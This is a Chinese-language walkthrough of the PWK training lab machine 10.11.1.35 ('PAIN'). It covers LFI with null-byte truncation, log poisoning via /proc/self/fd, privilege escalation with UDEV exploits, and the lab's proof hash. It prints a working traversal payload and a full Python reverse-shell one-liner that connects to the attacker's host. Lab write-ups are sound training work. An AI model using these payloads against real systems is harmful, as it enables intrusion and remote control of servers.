PWK-LAB 10.11.1.35 PAIN攻略
PAIN这台机子是真的挺痛苦的
先感谢OS-19168为我提供了宝贵的信息。
参考链接:https://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/
首先NMAP扫一下,发现这台机子只开了443和22端口。
https://10.11.1.35访问一下,发现存在一个未搭建完毕的web站点。
观察源码,东看西看一下
发现了几个很敏感的链接 https://10.11.1.35/section.php?page=alldocs
一眼看上去就有LFI漏洞,因为alldocs不存在.php所以需要%00来截断一下
https://10.11.1.35/section.php?page=../../../../../../../etc/passwd%00
果不其然哈。
后来按照常规思路,是要向apache日志文件里写恶意代码,但是过程中有很多问题。
第一点,无论是nc还是telnet,向443端口倒恶意代码的时候,服务器端都没返回信息,实际上是因为ssl的原因没有导入成功的。
所以实际上需要burpsuit带headers来导入。
第二点,日志文件不在常规目录,或者说apache没有权限访问。所以无法包含日志文件。
这边参考了OS-19168提供的文章,发现了一个必须要有Linux内核知识才了解的骚套路。
Linux内核通过每个进程ID的proc条目向用户模式输出关于单个进程的一些有趣信息。 它还创建了一个名为“self”的条目,它提供了一个可以轻松访问其自己的流程信息的进程。
也就是说,网页服务器日志信息是通过一个进程不断地写入到日志文件的,而万物皆为文件的linux系统,这个进程也可以被当成文件访问。
一般来说这些进程的地址是/proc/self/fd/xxxxx/
我们可以尝试包含这些个进程文件,当然几号进程不可能知道,只能一个一个去试,这台机子的网页日志进程大概就是12,13的样子。
可以看到,这次12号进程就是网页日志文件。
我们通过Burpsuit向他发送php恶意代码
发送完成之后,就能给目标服务器发送cmd了
https://10.11.1.35/section.php?page=/proc/self/fd/13/%00&cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.11.0.198”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
我们这边给目标服务器发送一个python的返回shell的代码。
可以看到成功的拿了web shell。
接下来就是提权,进入到/tmp目录里下载linuxprivchecker,然后运行一下,扫出发现了俩提权洞,实际上是同一个漏洞。一个是sh脚本,一个是c语言的程序。
The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=bash
这边用这个sh脚本文件,c的那个好像有问题。
因为目标机器上没安装gcc,所以必须手动离岸编译,很鸡儿麻烦。
另外脚本文件得手动改下,不知道是版本是版本问题还是什么,gcc命令有些参数反了。8478<<这边是我修改好的文件。
把所有东西在攻击机上编译好,脚本会在/tmp文件生成三个文件,一个suid,一个udev,一个libno_ex.so.1.0
把这三个文件下载到目标机器上的同目录下,权限改好,然后再目标机器上执行
cat /proc/net/netlink查看一下udev的进程PID,把PID作为参数
下载三个文件
执行权限提升脚本文件。
得等好一会才能出来权限。
get root shell√
proof.txt 3f7d652a3efb59d0631771f65c65ba07
HELL OF A RIDE!!!